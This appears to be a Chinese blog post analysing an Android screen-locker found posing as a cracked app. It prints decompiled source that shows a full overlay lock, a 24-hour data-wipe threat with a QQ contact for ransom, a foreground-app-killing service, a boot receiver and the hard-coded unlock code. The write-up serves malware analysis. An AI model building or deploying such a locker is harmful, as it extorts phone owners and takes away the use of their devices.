最近在找畅无线的破解版,结果从贴吧找到了一个恶意应用。
点击屏幕任何地方都没反应,上面一堆恐吓性文字,没法退出,重启之后手机恢复正常了,然后果断把它卸载了。
下面我们来分析分析。
首先看看用APKTOOLS反编译出来的布局文件
1.main.xml
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent" xmlns:android="http://schemas.android.com/apk/res/android"> <LinearLayout android:gravity="center" android:orientation="vertical" android:background="#ff303444" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_centerHorizontal="true"> <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已被锁!By 小黑" /> <Button android:id="@id/bn_bf" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" /> <TextView android:gravity="center" android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:layout_marginBottom="10.0dip" android:text="24小时内未解锁将格式化!" /> <Button android:id="@id/bn_hy" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="所有数据将删除无法恢复!" /> <TextView android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" /> <TextView android:textAppearance="?android:textAppearanceMedium" android:id="@id/mainTextViewTime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15.0dip" android:text="你的手机已被锁!By 小黑" /> </LinearLayout> <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="24.0dip" android:text="Power by 小黑@2014" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" /> </RelativeLayout>布局是一个相对布局里面嵌入了一个线性布局,然后里面放了6个控件,依次是TexTView、Button、TextView、Button、TextView、TextView
package tk.jianmo.study; import LogCatBroadcaster; import android.app.Activity; import android.app.AlertDialog.Builder; import android.app.Dialog; import android.app.DialogFragment; import android.content.Context; import android.content.DialogInterface; import android.content.DialogInterface.OnClickListener; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.os.SystemClock; import android.text.Editable; import android.view.KeyEvent; import android.view.Window; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import java.util.Timer; import java.util.TimerTask; public class MainActivity extends Activity { Context context; @Override Intent intent; int keyTouthInt = 0; long newTime = 0; SharedPreferences sp; int theBeginTimeToFinish = 86400; Timer timer; TimerTask timertask; int timetofinish = this.theBeginTimeToFinish; TextView tv_time; long usedTime = 0; public void keytouch(long paramLong, int paramInt1, int paramInt2) { this.newTime = System.currentTimeMillis(); if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2)) { this.usedTime = this.newTime; this.keyTouthInt = (paramInt1 + 1); return; } this.keyTouthInt = 0; } public void onAttachedToWindow() { getWindow().setType(2004); super.onAttachedToWindow(); } public void onCreate(Bundle paramBundle) { LogCatBroadcaster.start(this); super.onCreate(paramBundle); requestWindowFeature(1); getWindow().setFlags(-2147483648, -2147483648); setContentView(2130903040); this.context = this; this.tv_time = ((TextView)super.findViewById(2131034114)); Intent localIntent1 = new Intent(); this.intent = localIntent1; Intent localIntent2 = this.intent; try { Class localClass = Class.forName("tk.jianmo.study.killpoccessserve"); localIntent2.setClass(this, localClass); startService(this.intent); this.sp = getSharedPreferences("TimeSave", 0); this.timetofinish = this.sp.getInt("saveTime", this.timetofinish); if (this.timetofinish <= 1) { this.timetofinish = this.theBeginTimeToFinish; } Timer localTimer = new Timer(); this.timer = localTimer; TimerTask local100000001 = new TimerTask() { @Override public void run() { MainActivity localMainActivity = MainActivity.this; Runnable local100000000 = new Runnable() { @Override public void run() { int i = MainActivity.this.timetofinish / 3600; int j = MainActivity.this.timetofinish % 3600 / 60; int k = MainActivity.this.timetofinish % 60; TextView localTextView = MainActivity.this.tv_time; StringBuffer localStringBuffer1 = new StringBuffer(); StringBuffer localStringBuffer2 = new StringBuffer(); StringBuffer localStringBuffer3 = new StringBuffer(); StringBuffer localStringBuffer4 = new StringBuffer(); StringBuffer localStringBuffer5 = new StringBuffer(); localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append (localStringBuffer5.append(i).append("9999").toString()).append(j).toString()).append("999").toString()).append (k).toString() + "加QQ解锁2082549931"); MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit(); if (MainActivity.this.timetofinish == 0) { MainActivity.this.stopService(MainActivity.this.intent); System.exit(0); } MainActivity localMainActivity = MainActivity.this; localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish); } }; localMainActivity.runOnUiThread(local100000000); } }; this.timertask = local100000001; this.timer.schedule(this.timertask, 0, 1000); return; } catch (ClassNotFoundException localClassNotFoundException) { NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage()); throw localNoClassDefFoundError; } } @Override public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { if (paramInt == 4) { if (this.keyTouthInt != 0) { break label153; } this.usedTime = SystemClock.currentThreadTimeMillis(); this.keyTouthInt = 1; this.usedTime = System.currentTimeMillis(); } for (;;) { if (paramInt == 3) { keytouch(this.usedTime, this.keyTouthInt, 5); if (this.keyTouthInt == 6) { MyDialogFragment localMyDialogFragment = new MyDialogFragment(); localMyDialogFragment.show(getFragmentManager(), "mydialog"); } } if (paramInt == 82) { keytouch(this.usedTime, this.keyTouthInt, 100); } if (paramInt == 25) { keytouch(this.usedTime, this.keyTouthInt, 2); } if (paramInt == 24) { keytouch(this.usedTime, this.keyTouthInt, 3); } if (paramInt == 26) { Toast.makeText(this, "电源控制成功!", 0).show(); } return true; label153: if (this.keyTouthInt == 1) { keytouch(this.usedTime, this.keyTouthInt, 1); } else { keytouch(this.usedTime, this.keyTouthInt, 4); } } } class MyDialogFragment extends DialogFragment { public MyDialogFragment() {} @Override public Dialog onCreateDialog(Bundle paramBundle) { AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity()); EditText localEditText = new EditText(MainActivity.this.context); localEditText.setHint("please input the cipher!"); localBuilder.setView(localEditText); localBuilder.setTitle("Choose"); localBuilder.setMessage("I will clear all of your data!"); DialogInterface.OnClickListener local100000002 = new DialogInterface.OnClickListener() { private final EditText val$edit; @Override public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) { if (this.val$edit.getText().toString().equals("2082549931")) { MainActivity.this.stopService(MainActivity.this.intent); System.exit(0); } } }; localBuilder.setPositiveButton("Yes", local100000002); DialogInterface.OnClickListener local100000003 = new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {} }; localBuilder.setNegativeButton("No", local100000003); return localBuilder.create(); } } }根据Activity的生命周期,我们先看看onCreate方法
import android.content.Context; import android.content.Intent; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class LogCatBroadcaster implements Runnable { private static boolean started = false; private Context context; private LogCatBroadcaster(Context paramContext) { this.context = paramContext; } /* Error */ public static void start(Context paramContext) { // Byte code: // 0: ldc 2 // 2: monitorenter // 3: getstatic 14 LogCatBroadcaster:started Z // 6: istore_2 // 7: iload_2 // 8: ifeq +7 -> 15 // 11: ldc 2 // 13: monitorexit // 14: return // 15: iconst_1 // 16: putstatic 14 LogCatBroadcaster:started Z // 19: getstatic 29 android/os/Build$VERSION:SDK_INT I // 22: bipush 16 // 24: if_icmpge +6 -> 30 // 27: goto -16 -> 11 // 30: aload_0 // 31: invokevirtual 35 android/content/Context:getApplicationInfo ()Landroid/content/pm/ApplicationInfo; // 34: getfield 40 android/content/pm/ApplicationInfo:flags I // 37: istore_3 // 38: iload_3 // 39: iconst_2 // 40: iand // 41: ifeq +14 -> 55 // 44: iconst_1 // 45: istore 4 // 47: iload 4 // 49: ifne +12 -> 61 // 52: goto -41 -> 11 // 55: iconst_0 // 56: istore 4 // 58: goto -11 -> 47 // 61: aload_0 // 62: invokevirtual 44 android/content/Context:getPackageManager ()Landroid/content/pm/PackageManager; // 65: ldc 46 // 67: sipush 128 // 70: invokevirtual 52 android/content/pm/PackageManager:getPackageInfo (Ljava/lang/String;I)Landroid/content/pm/PackageInfo; // 73: pop // 74: new 2 LogCatBroadcaster // 77: dup // 78: aload_0 // 79: invokespecial 54 LogCatBroadcaster:<init> (Landroid/content/Context;)V // 82: astore 7 // 84: new 56 java/lang/Thread // 87: dup // 88: aload 7 // 90: invokespecial 59 java/lang/Thread:<init> (Ljava/lang/Runnable;)V // 93: astore 8 // 95: aload 8 // 97: invokevirtual 61 java/lang/Thread:start ()V // 100: goto -89 -> 11 // 103: astore 5 // 105: goto -94 -> 11 // 108: astore_1 // 109: ldc 2 // 111: monitorexit // 112: aload_1 // 113: athrow // Local variable table: // start length slot name signature // 0 114 0 paramContext Context // 108 5 1 localObject Object // 6 2 2 bool boolean // 37 4 3 i int // 45 12 4 j int // 103 1 5 localNameNotFoundException android.content.pm.PackageManager.NameNotFoundException // 82 7 7 localLogCatBroadcaster LogCatBroadcaster // 93 3 8 localThread java.lang.Thread // Exception table: // from to target type // 61 74 103 android/content/pm/PackageManager$NameNotFoundException // 3 7 108 finally // 15 27 108 finally // 30 38 108 finally // 61 74 108 finally // 74 100 108 finally } public void run() { try { Process localProcess = Runtime.getRuntime().exec("logcat -v threadtime"); InputStreamReader localInputStreamReader = new InputStreamReader(localProcess.getInputStream()); BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader, 20); for (;;) { String str = localBufferedReader.readLine(); if (str == null) { break; } Intent localIntent = new Intent(); localIntent.setPackage("com.aide.ui"); localIntent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY"); localIntent.putExtra("lines", new String[] { str }); this.context.sendBroadcast(localIntent); } return; } catch (IOException localIOException) {} } }我们分析一下里面的run方法,首先调用系统命令得到logcat日志,亲们想看结果的可以再命令行下输入 adb logcat -v threadtime
package tk.jianmo.study; import android.app.ActivityManager; import android.app.ActivityManager.RunningTaskInfo; import android.app.Service; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.Handler.Callback; import android.os.IBinder; import android.os.Message; import java.util.List; import java.util.Timer; import java.util.TimerTask; public class killpoccessserve extends Service { Context context; @Override public IBinder onBind(Intent paramIntent) { return null; } @Override public void onCreate() { this.context = this; Handler.Callback local100000000 = new Handler.Callback() { public boolean handleMessage(Message paramAnonymousMessage) { ActivityManager localActivityManager = (ActivityManager)killpoccessserve.this.context.getSystemService("activity"); String str = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity.getPackageName(); if (str.equals("tk.jianmo.study")) {} for (;;) { return false; Intent localIntent = new Intent(); Context localContext = killpoccessserve.this.context; try { Class localClass = Class.forName("tk.jianmo.study.MainActivity"); localIntent.setClass(localContext, localClass); localIntent.setFlags(67108864); localIntent.addFlags(268435456); killpoccessserve.this.startActivity(localIntent); localActivityManager.killBackgroundProcesses(str); } catch (ClassNotFoundException localClassNotFoundException) { NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage()); throw localNoClassDefFoundError; } } } }; Handler localHandler = new Handler(local100000000); Timer localTimer = new Timer(); TimerTask local100000001 = new TimerTask() { private final Handler val$h; @Override public void run() { this.val$h.obtainMessage().sendToTarget(); } }; localTimer.schedule(local100000001, 0, ''); } @Override public void onDestroy() { super.onDestroy(); } @Override public void onStart(Intent paramIntent, int paramInt) { super.onStart(paramIntent, paramInt); } }
package tk.jianmo.study; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { String action_boot = "android.intent.action.BOOT_COMPLETED"; @Override public void onReceive(Context paramContext, Intent paramIntent) { try { Class localClass = Class.forName("tk.jianmo.study.MainActivity"); Intent localIntent = new Intent(paramContext, localClass); localIntent.addFlags(268435456); paramContext.startActivity(localIntent); return; } catch (ClassNotFoundException localClassNotFoundException) { NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage()); throw localNoClassDefFoundError; } } }